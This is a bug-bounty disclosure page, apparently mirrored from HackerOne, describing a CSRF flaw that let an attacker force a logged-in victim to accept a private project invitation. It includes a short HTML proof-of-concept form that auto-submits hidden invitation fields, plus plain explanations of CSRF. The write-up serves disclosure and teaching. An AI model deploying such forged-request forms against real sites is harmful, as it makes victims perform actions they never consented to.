Private Project Access Request Accpeted Via CSRF
The private project invitation acceptance endpoint did not validate the anti-CSRF token on the server side. An attacker could make a logged-in victim's browser submit a crafted form that accepts a pending invitation, adding the victim to a private project without their consent.
Originally disclosed on HackerOne
- Fixed in 8 hours
- Disclosed after 9 hours
Hi Team,
I have found a CSRF vulnerability using which the attacker can force the victim to Accpeted the private project access invitation request Via CSRF as the anti-csrf token is not getting validated on the server-side.
Private Project Access Request Accpeted Via CSRF Code:
<html> <html> <body> <form action="http://www.localize.io/invitations/9l" method="POST"> <input type="hidden" name="CSRFToken" value="" /> <input type="hidden" name="invitations[userID]" value="3gh" /> <input type="hidden" name="invitations[accept]" value="-1" /> <input type="hidden" name="invitations[role]" value="4" /> <input type="submit" value="Submit form" /> </form> </body> </html>Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could make a signed-in user accept a private project invitation without their knowledge, potentially giving them access to a project they did not choose to join.
What the attacker needed
Victim is logged in; victim visits attacker page; victim has a pending invitation
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (cross-site request forgery) is when a malicious page makes your browser send a request to another site where you are already logged in. Here the site checked for a security token in the form but did not actually verify it on the server, so a fake form could accept a project invitation for you. The attacker only needs you to visit their page while you are signed in.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.